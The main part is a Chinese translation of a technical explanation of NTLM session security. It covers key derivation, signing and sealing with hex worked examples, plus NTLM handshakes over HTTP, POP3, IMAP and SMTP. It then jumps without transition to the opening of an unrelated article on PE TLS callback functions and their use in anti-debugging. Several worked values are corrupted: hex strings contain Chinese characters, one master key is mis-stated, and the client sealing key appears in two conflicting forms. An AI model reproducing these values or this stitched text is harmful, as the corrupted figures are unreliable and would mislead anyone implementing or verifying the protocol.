第一步是Negotiate128位”Master Key”，从中将得出最终的签名和Sealing的Key。这是由NTLMFlags”Negotiate
Lan Manager Key”驱动的；如果设置，则Lan ManagerSession Key将用作Master
Key。否则，将使用适当的用户Session Key。
例如，考虑我们的示例用户，其密码为” SecREt01”。如果未设置”Negotiate Lan Manager”Key，并且在Type
3消息中提供了NTLM响应，则将选择NTLM用户Session Key作为Master
Key。这是通过获取NTLM哈希的MD4摘要（本身就是Unicode密码的MD4哈希）来计算的：
0x3f373ea8e4af954f14faa506f8eebdc4
**密钥交换（Key exchange）**
如果设置了”Negotiate Key exchange”Flags，则客户端将使用新的Master Key（使用先前选择的Master
Key进行RC4加密）填充Type 3消息中的”Session Key”字段。服务器将解密该值以接收新的Master Key。
例如，假定客户端选择随机Master Key” 0xf0f0aabb00112233445566778899aabb
“。客户端将使用先前Negotiate的Master Key（” 0x3f373ea8e4af954f14faa506f8eebdc4
“）做为Key使用RC4加密此随机Master Key，以获取该值：
0x1d3355eb71c82850a9a2d65c2952e6f3
它在Type 3消息的”Session Key”字段中发送到服务器。服务器RC4-使用旧的Master Key对该值解密，以恢复客户端选择的新的Master
Key（” 0xf0f0aabb00112233445566778899aabb “）。
**弱化Key（Key Weakening）**
最后，关键是要弱化以遵守出口限制。NTLM1支持40位和56位Key。如果设置了” Negotiate 56” NTLMFlags，则128位Master
Key将减弱为56位；如果不设置，它将被削弱到40位。请注意，仅在使用Lan Manager Session Key（设置了”NegotiateLan
ManagerKey”）时，才在NTLM1下采用Key弱化功能。LM和NTLM 的 User Session
Key基于密码散列，而不是响应。给定的密码将始终导致NTLM1下具有相同的用户Session
Key。显然不需要弱化，因为给定用户的密码哈希可以轻松恢复User Session Key。
NTLM1下的Key弱化过程如下：
* 要生成56位Key，Master Key将被截断为7个字节（56位），并附加字节值” 0xa0 “。
* 要生成40位Key，Master Key将被截断为5个字节（40位），并附加三个字节的值” 0xe538b0 “。
以Master Key” 0x0102030405060708090a0b0c0d0e0f00 “为例，用于签名和Sealing的40位Key为”
0x0102030405e538b0 “。如果Negotiate了56位Key，则最终Key将为” 0x01020304050607a0 “。
### 签名
一旦协商了Key，就可以使用它来生成数字签名，从而提供消息完整性。通过存在”Negotiate Flags” NTLMFlags来指示对签名的支持。
NTLM1签名（由SSPI MakeSignature函数完成）如下：
1. 使用先前Negotiate的Key初始化RC4密码。只需执行一次（在第一次签名操作之前），并且Key流永远不会重置。
2. 计算消息的CRC32校验和；它表示为长整数（32位Little-Endian值）。
3. 获得序列号；它从零开始，并在每条消息签名后递增。该数字表示为长号。
4. 将四个零字节与CRC32值和序列号连接起来，以获得一个12字节的值（” 0x00000000 “ + CRC32（message）+ sequenceNumber）。
5. 使用先前初始化的RC4密码对该值进行加密。
6. 密文结果的前四个字节被伪随机计数器值覆盖（使用的实际值无关紧要）。
7. 将版本号（” 0x01000000 “）与上一步的结果并置以形成签名。
例如，假设我们使用上一个示例中的40位Key对消息” jCIFS “（十六进制” 0x6a43494653 “）进行签名：
1. 计算CRC32校验和（使用小端十六进制” 0xa0310宝宝7 “）。
2. 获得序列号。由于这是我们签名的第一条消息，因此序列号为零（” 0x00000000 “）。
3. 将四个零字节与CRC32值和序列号连接起来，以获得一个12字节的值（” 0x00000000a0310宝宝700000000 “）。
4. 使用我们的Key（” 0x0102030405e538b0 “）对这个值进行RC4加密；这将产生密文” 0xecbf1ced397420fe0e5a0f89 “。
5. 前四个字节被计数器值覆盖；使用” 0x78010900 “给出” 0x78010900397420fe0e5a0f89 “。
6. 将版本图章与结果连接起来以形成最终签名：
0x0100000078010900397420fe0e5a0f89
下一条签名的消息将接收序列号1；同样，再次注意，用第一个签名初始化的RC4Key流不会为后续签名重置。
### Sealing
除了消息完整性之外，还通过Sealing来提供消息机密性。”Negotiate Sealing”
NTLMFlags表示支持Sealing。在具有NTLM提供程序的SSPI下，Sealing总是与签名结合进行（Sealing消息会同时生成签名）。相同的RC4Key流用于签名和Sealing。
NTLM1Sealing（由SSPI EncryptMessage函数完成）如下：
1. 使用先前Negotiate的Key初始化RC4密码。只需执行一次（在第一次Sealing操作之前），并且Key流永远不会重置。
2. 使用RC4密码对消息进行加密；这将产生Sealing的密文。
3. 如前所述，将生成消息的签名，并将其放置在安全尾部缓冲区中。
例如，考虑使用40位Key” 0x0102030405e538b0 “ 对消息” jCIFS “（” 0x6a43494653 “）进行Sealing：
1. 使用我们的Key（” 0x0102030405e538b0 “）初始化RC4密码。
2. 我们的消息通过RC4密码传递，并产生密文” 0x86fc55abca “。这是Sealing消息。
3. 我们计算出消息的CRC32校验和（使用小尾数十六进制” 0xa0310宝宝7 “）。
4. 获得序列号。由于这是第一个签名，因此序列号为零（” 0x00000000 “）。
5. 将四个零字节与CRC32值和序列号连接起来，以获得一个12字节的值（” 0x00000000a0310宝宝700000000 “）。
6. 该值是使用来自密码的Key流进行RC4加密的；这将产生密文” 0x452b490efa3e828bcc8affc3 “。
7. 前四个字节被计数器值覆盖；使用” 0x78010900 “给出” 0x78010900fa3e828bcc8affc3 “。
8. 版本标记与结果串联在一起，以形成最终签名，并将其放置在安全尾部缓冲区中：
0x0100000078010900fa3e828bcc8affc3整个Sealing结构的十六进制转储为：0x86fc55abca0100000078010900fa3e828bcc8affc3
## NTLM2会话安全
NTLM2是更新的签名和Sealing方案，在建立”NegotiateNTLM2Key”Flags时使用。此方案中的Key派生由以下NTLMFlags驱动：
Flags | 说明
---|---
Negotiate NTLM2 Key | 表示支持NTLM2会话安全性。
Negotiate56 | 表示支持56位Key。如果既未指定此Flags也未指定”Negotiate128”，则将使用40位Key。
Negotiate128 | 表示支持128位Key。如果既未指定此Flags也未指定”Negotiate56”，则将使用40位Key。
NegotiateKey交换 | 表示将执行Key交换以Negotiate用于签名和Sealing的辅助基本Key。
### NTLM2Key派生
NTLM2中的Key派生分为四个步骤：
1. Master Key Negotiate
2. Key exchange
3. Key weakening
4. Subkey generation
**Master Key Negotiate**
用户Session Key在NTLM2签名和Sealing中始终用作基本Master
Key。使用NTLMv2身份验证时，LMv2或NTLMv2用户Session Key将用作Master
Key。当NTLMv1身份验证与NTLM2会话安全一起使用时，NTLM2会话响应用户Session Key将用作Master
Key。请注意，NTLM2中使用的用户Session Key比NTLM1对应的用户Session Key或Lan Manager Session
Key要强得多，因为它们同时包含服务器质询和client nonce。
**Key交换**
如先前针对NTLM1所讨论的那样执行Key交换。客户端选择一个辅助Master Key，RC4用基本Master Key对其进行加密，然后在Type
3”Session Key”字段中将密文值发送到服务器。这由”Negotiate Key exchange”Flags的存在指示。
**弱化Key**
NTLM2中的Key弱化仅通过将Master Key（或辅助Master Key，如果执行了Key交换）截短到适当的长度即可完成；例如，Master
Key” 0xf0f0aabb00112233445566778899aabb “将减弱为40位，如” 0xf0f0aabb00 “和56位为”
0xf0f0aabb001122 “。请注意，NTLM2支持128位Key。在这种情况下，Master Key直接用于生成子Key（不执行弱化操作）。
仅当生成Sealing子Key时，Master Key才会在NTLM2下减弱。完整的128位Master Key始终用于生成签名Key。
**子项生成**
在NTLM2下，最多可以建立四个子项。Master Key实际上从未用于Signing或Sealing消息。子项生成如下：
1. 128位（无弱点）Master Key与以空值终止的ASCII常量字符串连接：
客户端到服务器签名的Session Key魔术常数以十六进制表示，此常数是：0x73657373696f6e206b657920746f2063
6c69656e742d746f2d73657276657220
7369676e696e67206b6579206d616769
6320636f6e7374616e7400
上面的换行符仅用于显示目的。将MD5消息摘要算法应用于此算法，从而得到一个16字节的值。这是客户端Signing Key，客户端使用它来为消息创建签名。
2. 原生的128位Master Key与以空值终止的ASCII常量字符串连接：
服务器到客户端签名的Session Key魔术常数以十六进制表示，此常数是：0x73657373696f6e206b657920746f2073
65727665722d746f2d636c69656e7420
7369676e696e67206b6579206d616769
6320636f6e7374616e7400
将使用此内容的MD5摘要，从而获得16字节的服务器Signing Key。服务器使用它来创建消息的签名。
3. 弱化的Master Key（取决于Negotiate的是40位，56位还是128位加密）与以空值结尾的ASCII常量字符串连接：
客户端到服务器的Session
KeySealingKey魔术常数以十六进制表示，此常数是：0x73657373696f6e206b657920746f2063
6c69656e742d746f2d73657276657220
7365616c696e67206b6579206d616769
6320636f6e7374616e7400
使用MD5摘要来获取16字节的客户端Sealing Key。客户端使用它来加密消息。
4. 弱化的主键与以空值终止的ASCII常量字符串连接：
服务器到客户端的Session
KeySealingKey魔术常数以十六进制表示，此常数是：0x73657373696f6e206b657920746f2073
65727665722d746f2d636c69656e7420
7365616c696e67206b6579206d616769
6320636f6e7374616e7400
应用MD5摘要算法，产生16字节的服务器Sealing Key。服务器使用此Key来加密消息。
**签名（Signing）**
签名支持再次由”Negotiate Signing”
NTLMFlags指示。客户端签名是使用客户端签名Key完成的；服务器使用服务器签名Key对消息进行签名。签名Key是从无损的Master
Key生成的（如前所述）。
NTLM2签名（由SSPI MakeSignature函数完成）如下：
1. 获得序列号；它从零开始，并在每条消息签名后递增。该数字表示为长整数（32位Little-endian值）。
2. 序列号与消息串联在一起。HMAC-MD5消息认证代码算法使用适当的签名Key应用于此值。这将产生一个16字节的值。
3. 如果已NegotiateKey交换，则使用适当的SealingKey初始化RC4密码。这一次完成（在第一次操作期间），并且Key流永远不会重置。HMAC结果的前八个字节使用此RC4密码加密。如果Key交换还没有经过谈判，省略这个Sealing操作。
4. 将版本号（” 0x01000000 “）与上一步的结果和序列号连接起来以形成签名。
例如，假设我们使用Master Key” 0x0102030405060708090a0b0c0d0e0f00 “ 在客户端上对消息” jCIFS
“（十六进制” 0x6a43494653 “）进行签名。这与客户端到服务器的签名常量连接在一起，并应用MD5生成客户端签名Key（”
0xf7f97a82ec390f9c903dac4f6aceb132 “）和客户端SealingKey（”
0x2785f595293f3e2813439d73a223810d “）；这些用于签名消息如下：
1. 获得序列号。由于这是我们签名的第一条消息，因此序列号为零（” 0x00000000 “）。
2. 序列号与消息串联在一起：
0x000000006a43494653使用客户端签名Key（” 0xf7f97a82ec390f9c903dac4f6aceb132 “）应用HMAC-MD5 。结果是16字节的值” 0x0a003602317a759a720dc9c7a2a95257 “。
3. 使用我们的SealingKey（” 0x2785f595293f3e2813439d73a223810d “）初始化RC4密码。先前结果的前八个字节通过密码传递，产生密文” 0xe37f97f2544f4d7e “。
4. 将版本标记与上一步的结果和序列号连接起来，以形成最终签名：
0x01000000e37f97f2544f4d7e00000000
**Sealing**
“Negotiate Sealing” NTLMFlags再次表明支持NTLM2中的消息机密性。NTLM2Sealing（由SSPI
EncryptMessage函数完成）如下：
1. RC4密码使用适当的SealingKey初始化（取决于客户端还是服务器正在执行Sealing）。只需执行一次（在第一次Sealing操作之前），并且Key流永远不会重置。
2. 使用RC4密码对消息进行加密；这将产生Sealing的密文。
3. 如前所述，将生成消息的签名，并将其放置在安全尾部缓冲区中。请注意，签名操作中使用的RC4密码已经初始化（在前面的步骤中）；它不会为签名操作重置。
例如，假设我们使用Master Key” 0x0102030405060060090090a0b0c0d0e0f00 “ 在客户端上Sealing消息”
jCIFS “（十六进制” 0x6a43494653 “）。与前面的示例一样，我们使用未减弱的Master Key生成客户端签名Key（”
0xf7f97a82ec390f9c903dac4f6aceb132
“）。我们还需要生成客户SealingKey；我们将假定已经Negotiate了40位弱化。我们将弱化的Master Key（” 0x0102030405
“）与客户端到服务器的Sealing常数连接起来，并应用MD5产生客户端SealingKey（”
0x6f0d9953503333cbe499cd1914fe9ee “）。以下过程用于Sealing消息：
1. RC4密码使用我们的客户SealingKey（” 0x6f0d99535033951cbe499cd1914fe9ee “）初始化。
2. 我们的消息通过RC4密码传递，并产生密文” 0xcf0eb0a939 “。这是Sealing消息。
3. 获得序列号。由于这是第一个签名，因此序列号为零（” 0x00000000 “）。
4. 序列号与消息串联在一起：
0x000000006a43494653使用客户端签名Key（” 0xf7f97a82ec390f9c903dac4f6aceb132 “）应用HMAC-MD5 。结果是16字节的值” 0x0a003602317a759a720dc9c7a2a95257 “。
5. 该值的前八个字节通过Sealing密码，得到的密文为” 0x884b14809e53bfe7 “。
6. 将版本标记与结果和序列号连接起来以形成最终签名，该最终签名被放置在安全性尾部缓冲区中：
0x01000000884b14809e53bfe700000000整个Sealing结构的十六进制转储为：0xcf0eb0a93901000000884b14809e53bfe700000000
## 会话安全主题（Miscellaneous Session Security Topics）
还有其他几个会话安全性主题，这些主题实际上并不适合其他任何地方：
* 数据报的签名和Sealing
* “虚拟”的签名
### 数据报签名和Sealing
在建立数据报上下文时使用此方法（由数据报身份验证握手和”Negotiate Datagram
Style”Flags的存在指示）。关于数据报会话安全性的语义有些不同；首次调用SSPI
InitializeSecurityContext函数之后（即，在与服务器进行任何通信之前），签名可以立即在客户端上开始。这意味着需要预先安排的签名和Sealing方案（因为可以在与服务器Negotiate任何选项之前创建签名）。数据报会话安全性基于具有密钥交换的40位Lan
Manager Session Key NTLM1（尽管可能有一些方法可以通过注册表预先确定更强大的方案）。
在数据报模式下，序列号不递增；它固定为零，每个签名都反映了这一点。同样，每次签名或Sealing操作都会重置RC4Key流。这很重要，因为消息可能容易受到已知的明文攻击。
### “虚拟”签名
如果初始化SSPI上下文而未指定对消息完整性的支持，则使用此方法。如果建立了”始终NegotiateNegotiate”
NTLMFlags，则对MakeSignature的调用将成功，并返回常量” signature”：
0x01000000000000000000000000000000
对EncryptMessage的调用通常会成功（包括安全性尾部缓冲区中的”真实”签名）。如果未Negotiate”Negotiate始终签名”，则签名和Sealing均将失败。
## 附录A：链接和参考
请注意，由于Web具有高度动态性和瞬态性，因此这些功能可能可用或可能不可用。
jCIFS项目主页
<http://jcifs.samba.org/>
jCIFS是CIFS / SMB的开源Java实现。本文中提供的信息用作jCIFS NTLM身份验证实现的基础。jCIFS为NTLM
HTTP身份验证方案的客户端和服务器端以及非协议特定的NTLM实用程序类提供支持。
Samba主页
<http://www.samba.org/>
Samba是一个开源CIFS / SMB服务器和客户端。实现NTLM身份验证和会话安全性，以及本文档大部分内容的参考。
实施CIFS：通用Internet文件系统
<http://ubiqx.org/cifs/>
Christopher R. Hertel撰写的，内容丰富的在线图书。与该讨论特别相关的是有关 身份验证的部分。
Open Group ActiveX核心技术参考（第11章，” NTLM”）
<http://www.opengroup.org/comsource/techref2/NCH1222X.HTM>
与NTLM上”官方”参考最接近的东西。不幸的是，它还很旧并且不够准确。
安全支持提供者界面
<http://www.microsoft.com/windows2000/techinfo/howitworks/security/sspi2000.asp>
白皮书，讨论使用SSPI进行应用程序开发。
HTTP的NTLM身份验证方案
<http://www.innovation.ch/java/ntlm.html>
有关NTLM HTTP身份验证机制的内容丰富的讨论。
Squid NTLM认证项目
<http://squid.sourceforge.net/ntlm/>
为Squid代理服务器提供NTLM HTTP身份验证的项目。
Jakarta Commons HttpClient
<http://jakarta.apache.org/commons/httpclient/>
一个开放源Java HTTP客户端，它提供对NTLM HTTP身份验证方案的支持。
GNU加密项目
<http://www.gnu.org/software/gnu-crypto/>
一个开放源代码的Java密码学扩展提供程序，提供了MD4消息摘要算法的实现。
RFC 1320-MD4消息摘要算法
<http://www.ietf.org/rfc/rfc1320.txt>
MD4摘要的规范和参考实现（用于计算NTLM密码哈希）。
RFC 1321-MD5消息摘要算法
<http://www.ietf.org/rfc/rfc1321.txt>
MD5摘要的规范和参考实现（用于计算NTLM2会话响应）。
RFC 2104-HMAC：消息身份验证的键哈希
<http://www.ietf.org/rfc/rfc2104.txt>
HMAC-MD5算法的规范和参考实现（用于NTLMv2 / LMv2响应的计算）。
如何启用NTLM 2身份验证
<http://support.microsoft.com/default.aspx?scid=KB;zh-cn;239869>
描述了如何启用NTLMv2身份验证的Negotiate并强制执行NTLM安全Flags。
Microsoft SSPI功能文档
<http://windowssdk.msdn.microsoft.com/en-us/library/ms717571.aspx#sspi_functions>
概述了安全支持提供程序接口（SSPI）和相关功能。
## 附录B：NTLM的应用协议用法
本节研究了Microsoft的某些网络协议实现中NTLM身份验证的使用。
### NTLM HTTP身份验证
Microsoft已经为HTTP建立了专有的” NTLM”身份验证方案，以向IIS
Web服务器提供集成身份验证。此身份验证机制允许客户端使用其Windows凭据访问资源，通常用于公司环境中，以向Intranet站点提供单点登录功能。从历史上看，Internet
Explorer仅支持NTLM身份验证。但是，最近，已经向其他各种用户代理添加了支持。
NTLM HTTP身份验证机制的工作方式如下：
1. 客户端从服务器请求受保护的资源：
GET /index.html HTTP / 1.1
2. 服务器以401状态响应，指示客户端必须进行身份验证。通过” WWW-Authenticate “标头将” NTLM”表示为受支持的身份验证机制。通常，服务器此时会关闭连接：
HTTP / 1.1 401未经授权的
WWW身份验证：NTLM
连接：关闭
请注意，如果Internet Explorer是第一个提供的机制，它将仅选择NTLM。这与RFC 2616不一致，RFC
2616指出客户端必须选择支持最强的身份验证方案。
3. 客户端使用包含Type 1消息参数的” Authorization “标头重新提交请求。Type 1消息经过Base-64编码以进行传输。从这一点开始，连接保持打开状态。关闭连接需要重新验证后续请求。这意味着服务器和客户端必须通过HTTP 1.0样式的” Keep-Alive”标头或HTTP 1.1（默认情况下采用持久连接）来支持持久连接。相关的请求标头显示如下（下面的” Authorization “标头中的换行符仅用于显示目的，在实际消息中不存在）：
GET /index.html HTTP / 1.1
授权：NTLM TlRMTVNTUAABAAAABzIAAAYABgArAAAACwALACAAAABXT1
JLU1RBVElPTkRPTUFJTg ==
4. 服务器以401状态答复，该状态在” WWW-Authenticate “标头中包含Type 2消息（再次，以Base-64编码）。如下所示（” WWW-Authenticate “标头中的换行符仅出于编辑目的，在实际标头中不存在）。
HTTP / 1.1 401未授权
WWW验证：NTLM TlRMTVNTUAACAAAADAAMADAAAAABAoEAASNFZ4mrze8
AAAAAAAAAAGIAYgA8AAAARABPAE0AQQBJAE4AAgAMAEQATwBNAEEASQBOAAEADABTA
EUAUgBWAEUAUgAEABQAZABvAG0AYQBpAG4ALgBjAG8AbQADACIAcwBlAHIAdgBlAHI
ALgBkAG8AbQBhAGkAbgAuAGMAbwBtAAAAAAA =
5. 客户端通过使用包含包含Base-64编码的Type 3消息的” Authorization “标头重新提交请求来响应Type 2消息（同样，下面的” Authorization “标头中的换行符仅用于显示目的）：
GET /index.html HTTP / 1.1
授权：NTLM TlRMTVNTUAADAAAAGAAYAGoAAAAYABgAggAAAAwADABAAA
AACAAIAEwAAAAWABYAVAAAAAAAAACaAAAAAQIAAEQATwBNAEEASQBOAHUAcwBlAHIA
VwBPAFIASwBTAFQAQQBUAEkATwBOAMM3zVy9RPyXgqZnr21CfG3mfCDC0 + d8ViWpjB
wx6BhHRmspst9GgPOZWPuMITqcxg ==
6. 最后，服务器验证客户端的Type 3消息中的响应，并允许访问资源。
HTTP / 1.1 200 OK
此方案与大多数”常规” HTTP身份验证机制不同，因为通过身份验证的连接发出的后续请求本身不会被身份验证；NTLM是面向连接的，而不是面向请求的。因此，对”
/index.html “ 的第二个请求将不携带任何身份验证信息，并且服务器将不请求任何身份验证信息。如果服务器检测到与客户端的连接已断开，则对”
/index.html “ 的请求将导致服务器重新启动NTLM握手。
上面的一个显着例外是客户端在提交POST请求时的行为（通常在客户端向服务器发送表单数据时使用）。如果客户端确定服务器不是本地主机，则客户端将通过活动连接启动POST请求的重新认证。客户端将首先提交一个空的POST请求，并在”
Authorization “标头中带有Type 1消息。服务器以Type 2消息作为响应（如上所示，在” WWW-Authenticate
“标头中）。然后，客户端使用Type 3消息重新提交POST，并随请求发送表单数据。
NTLM HTTP机制也可以用于HTTP代理身份验证。该过程类似，除了：
* 服务器使用407响应代码（指示需要进行代理身份验证）而不是401。
* 客户端的1类和3类消息是在” 代理授权 “请求标头中发送的，而不是在” 授权 “标头中发送的。
* 服务器的Type 2质询在” Proxy-Authenticate “响应头中发送（而不是” WWW-Authenticate “）。
在Windows 2000中，Microsoft引入了”Negotiate”
HTTP身份验证机制。虽然其主要目的是提供一种通过Kerberos通过Active
Directory验证用户身份的方法，但它与NTLM方案向后兼容。当在”传统”模式下使用Negotiate机制时，在客户端和服务器之间传递的标头是相同的，只是将”Negotiate”（而不是”
NTLM”）指定为机制名称。
### NTLM POP3身份验证
Microsoft的Exchange服务器为POP3协议提供了NTLM身份验证机制。这是RFC 1734中记录的与POP3 AUTH命令 一起使用的专有扩展
。在客户端，Outlook和Outlook Express支持此机制，称为”安全密码身份验证”。
POP3 NTLM身份验证握手在POP3”授权”状态期间发生，其工作方式如下：
1. 客户端可以通过发送不带参数的AUTH命令来请求支持的身份验证机制的列表：
AUTH
2. 服务器以成功消息响应，然后是受支持机制的列表；此列表应包含” NTLM “，并以包含单个句点（” 。 “）的行结尾。
+OK The operation completed successfully.
NTLM
.
3. 客户端通过发送一个将NTLM指定为身份验证机制的AUTH命令来启动NTLM身份验证：
AUTH NTLM
4. 服务器将显示一条成功消息，如下所示。注意，” + “和” OK “ 之间有一个空格；RFC 1734指出服务器应以质询进行答复，但是NTLM要求来自客户端的Type 1消息。因此，服务器发送”非challenge”消息，基本上是消息” OK “。
+OK
5. 然后，客户端发送Type 1消息，以Base-64编码进行传输：
TlRMTVNTUAABAAAABzIAAAYABgArAAAACwALACAAAABXT1JLU1RBVElPTkRPTUFJTg ==
6. 服务器回复Type 2质询消息（再次，以Base-64编码）。它以RFC 1734指定的质询格式发送（” + “，后跟一个空格，后跟质询消息）。如下所示；换行符是出于编辑目的，不出现在服务器的答复中：
* TlRMTVNTUAACAAAADAAMADAAAAABAoEAASNFZ4mrze8AAAAAAAAAAGIAYgA8AAAA
RABPAE0AQQBJAE4AAgAMAEQATwBNAEEASQBOAAEADABTAEUAUgBWAEUAUgAEABQAZA
BvAG0AYQBpAG4ALgBjAG8AbQADACIAcwBlAHIAdgBlAHIALgBkAG8AbQBhAGkAbgAu
AGMAbwBtAAAAAAA =
7. 客户端计算并发送Base-64编码的Type 3响应（下面的换行符仅用于显示目的）：
TlRMTVNTUAADAAAAGAAYAGoAAAAYABgAggAAAAwADABAAAAACAAIAEwAAAAWABYAVA
AAAAAAAACaAAAAAQIAAEQATwBNAEEASQBOAHUAcwBlAHIAVwBPAFIASwBTAFQAQQBU
AEkATwBOAMM3zVy9RPyXgqZnr21CfG3mfCDC0 + d8ViWpjBwx6BhHRmspst9GgPOZWP
uMITqcxg ==
8. 服务器验证响应并指示认证结果：
+OK User successfully logged on
成功进行身份验证后，POP3会话进入”事务”状态，从而允许客户端检索消息。
### NTLM IMAP身份验证
Exchange提供了一种IMAP身份验证机制，其形式类似于前面讨论的POP3机制。RFC 1730中记录了IMAP身份验证
；NTLM机制是Exchange提供的专有扩展，并由Outlook客户端家族支持。
握手序列类似于POP3机制：
1. 服务器可以在能力响应中指示对NTLM身份验证机制的支持。连接到IMAP服务器后，客户端将请求服务器功能列表：
0000 CAPABILITY
2. 服务器以支持的功能列表作为响应；服务器回复中字符串” AUTH = NTLM “ 的存在指示了NTLM身份验证扩展名：
* CAPABILITY IMAP4 IMAP4rev1 IDLE LITERAL+ AUTH=NTLM
0000 OK CAPABILITY completed.
3. 客户端通过发送 将NTLM指定为身份验证机制的AUTHENTICATE命令来启动NTLM身份验证：
0001授权NTLM
4. 服务器以一个空的质询作为响应，该质询仅由” + “组成：
+
5. 然后，客户端发送Type 1消息，以Base-64编码进行传输：
TlRMTVNTUAABAAAABzIAAAYABgArAAAACwALACAAAABXT1JLU1RBVElPTkRPTUFJTg ==
6. 服务器回复Type 2质询消息（再次，以Base-64编码）。它以RFC 1730指定的质询格式发送（” + “，后跟一个空格，后跟质询消息）。如下所示；换行符是出于编辑目的，不出现在服务器的答复中：
* TlRMTVNTUAACAAAADAAMADAAAAABAoEAASNFZ4mrze8AAAAAAAAAAGIAYgA8AAAA
RABPAE0AQQBJAE4AAgAMAEQATwBNAEEASQBOAAEADABTAEUAUgBWAEUAUgAEABQAZA
BvAG0AYQBpAG4ALgBjAG8AbQADACIAcwBlAHIAdgBlAHIALgBkAG8AbQBhAGkAbgAu
AGMAbwBtAAAAAAA =
7. 客户端计算并发送Base-64编码的Type 3响应（下面的换行符仅用于显示目的）：
TlRMTVNTUAADAAAAGAAYAGoAAAAYABgAggAAAAwADABAAAAACAAIAEwAAAAWABYAVA
AAAAAAAACaAAAAAQIAAEQATwBNAEEASQBOAHUAcwBlAHIAVwBPAFIASwBTAFQAQQBU
AEkATwBOAMM3zVy9RPyXgqZnr21CfG3mfCDC0 + d8ViWpjBwx6BhHRmspst9GgPOZWP
uMITqcxg ==
8. 服务器验证响应并指示认证结果：
0001 OK AUTHENTICATE NTLM completed.
身份验证完成后，IMAP会话将进入身份验证状态。
### NTLM SMTP身份验证
除了为POP3和IMAP提供的NTLM身份验证机制外，Exchange还为SMTP协议提供了类似的功能。这样可以对发送外发邮件的用户进行NTLM身份验证。这是与SMTP
AUTH命令一起使用的专有扩展（在 RFC 2554中记录）。
SMTP NTLM身份验证握手的操作如下：
1. 服务器可以在EHLO答复中指示支持NTLM作为身份验证机制。连接到SMTP服务器后，客户端将发送初始EHLO消息：
EHLO client.example.com
2. 服务器以支持的扩展列表进行响应。NTLM身份验证扩展由其在AUTH机制列表中的存在指示，如下所示。请注意，AUTH 列表发送了两次（一次带有” = “，一次没有）。显然在RFC草案中指定了” AUTH = “形式。发送两种表格都可以确保支持针对该草案实施的客户。
250-server.example.com Hello [10.10.2.20]
250-HELP
250-AUTH LOGIN NTLM
250-AUTH=LOGIN NTLM
250 SIZE 10240000
3. 客户端通过发送一个AUTH 命令来启动NTLM身份验证，该命令将NTLM指定为身份验证机制，并提供Base-64编码的Type 1消息作为参数：AUTH NTLM TlRMTVNTUAABAAAABzIAAAYABgArAAAACwALACAAAABXT1JLU1RBVElPTkRPTUFJTg ==
根据RFC 2554，客户端可以选择不发送初始响应参数（而是仅发送” AUTH NTLM “并等待空服务器质询，然后以Type
1消息答复）。但是，在针对Exchange测试时，这似乎无法正常工作。
1. 服务器回复334响应，其中包含Type 2质询消息（同样是Base-64编码）。如下所示；换行符是出于编辑目的，不出现在服务器的答复中：
334 TlRMTVNTUAACAAAADAAMADAAAAABAoEAASNFZ4mrze8AAAAAAAAAAGIAYgA8AAAA
RABPAE0AQQBJAE4AAgAMAEQATwBNAEEASQBOAAEADABTAEUAUgBWAEUAUgAEABQAZA
BvAG0AYQBpAG4ALgBjAG8AbQADACIAcwBlAHIAdgBlAHIALgBkAG8AbQBhAGkAbgAu
AGMAbwBtAAAAAAA =
2. 客户端计算并发送Base-64编码的Type 3响应（下面的换行符仅用于显示目的）：
TlRMTVNTUAADAAAAGAAYAGoAAAAYABgAggAAAAwADABAAAAACAAIAEwAAAAWABYAVA
AAAAAAAACaAAAAAQIAAEQATwBNAEEASQBOAHUAcwBlAHIAVwBPAFIASwBTAFQAQQBU
AEkATwBOAMM3zVy9RPyXgqZnr21CfG3mfCDC0 + d8ViWpjBwx6BhHRmspst9GgPOZWP
uMITqcxg ==
3. 服务器验证响应并指示认证结果：235 NTLM authentication successful.
验证后，客户端可以正常发送消息。
## 附录C：NTLMSSP操作分解示例
此部分内容较多，后续持续更新于Github。 | 社区文章 |
# 概述：
本篇文章主要学习有关TLS（Thread Local Storage，线程局部存储）回调函数（CallBack
Function），这种回调函数由于其特殊的特性通常会被运用于反调试技术中。本篇文章将通过分析代码，直接调试和手动创建TLS回调函数三个部分来学习有关TLS回调函数的知识。
# TLS：
首先简单了解一下有关于TLS的基础知识，根据TLS的英文全称的翻译其实可以粗略的看出来一些特性。TLS实际上是一块存储空间，这块存储空间是各个线程的独立的数据存储空间。也可以说TLS是一种变量的存储方式，这个
**变量所在的线程内是全局可访问的（可以修改进程的全局数据和静态变量）** ，但是这个变量不能被其它的线程所访问（保证数据的线程独立性）。
## IMAGE_DATA_DIRECTORY TLSDirectory：
在启用了TLS功能的PE文件中，会设置有关于TLS的TLS Table（TLS表），这个表的位置信息可以在IMAGE_OPTION_HEADER中找到：
这里的VirtualAddress指向的RVA是0x9310（对应RAW为0x7910）这个指针实际上是指向一个结构体：IMAGE_TLS_DIRECTORY
这个结构体中存储了有关于TLS模板的各个数据，根据程序编译时的位数不同分为32位和64位两种结构，具体如下：
typedef struct _IMAGE_TLS_DIRECTORY32 {
DWORD StartAddressOfRawData;
DWORD EndAddressOfRawData;
DWORD AddressOfIndex; // PDWORD
DWORD AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *
DWORD SizeOfZeroFill;
union {
DWORD Characteristics;
struct {
DWORD Reserved0 : 20;
DWORD Alignment : 4;
DWORD Reserved1 : 8;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} IMAGE_TLS_DIRECTORY32;
typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32;
typedef struct _IMAGE_TLS_DIRECTORY64 {
ULONGLONG StartAddressOfRawData;
ULONGLONG EndAddressOfRawData;
ULONGLONG AddressOfIndex; // PDWORD
ULONGLONG AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *;
DWORD SizeOfZeroFill;
union {
DWORD Characteristics;
struct {
DWORD Reserved0 : 20;
DWORD Alignment : 4;
DWORD Reserved1 : 8;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} IMAGE_TLS_DIRECTORY64;
结构体中各个参数的意义大致如下：
* StartAddressOfRawData：TLS模板的起始位置的VA，这个所谓的模板其实就是用于初始化TLS函数的数据
* EndAddressOfRawData：TLS模板终止位置的VA
* AddressOfIndex：存储TLS索引的位置
* **AddressOfCallBacks：指向TLS注册的回调函数的函数指针(地址)数组**
* SizeOfZeroFill：用于指定非零初始化数据后面的空白空间的大小
* Characteristics：属性
在这些成员中最为重要的是AddressOfCallBacks，这个成员是一个指向函数地址数组的指针，这里的函数的地址就是TLS需要调用的回调函数的实际地址
# TLS回调函数：
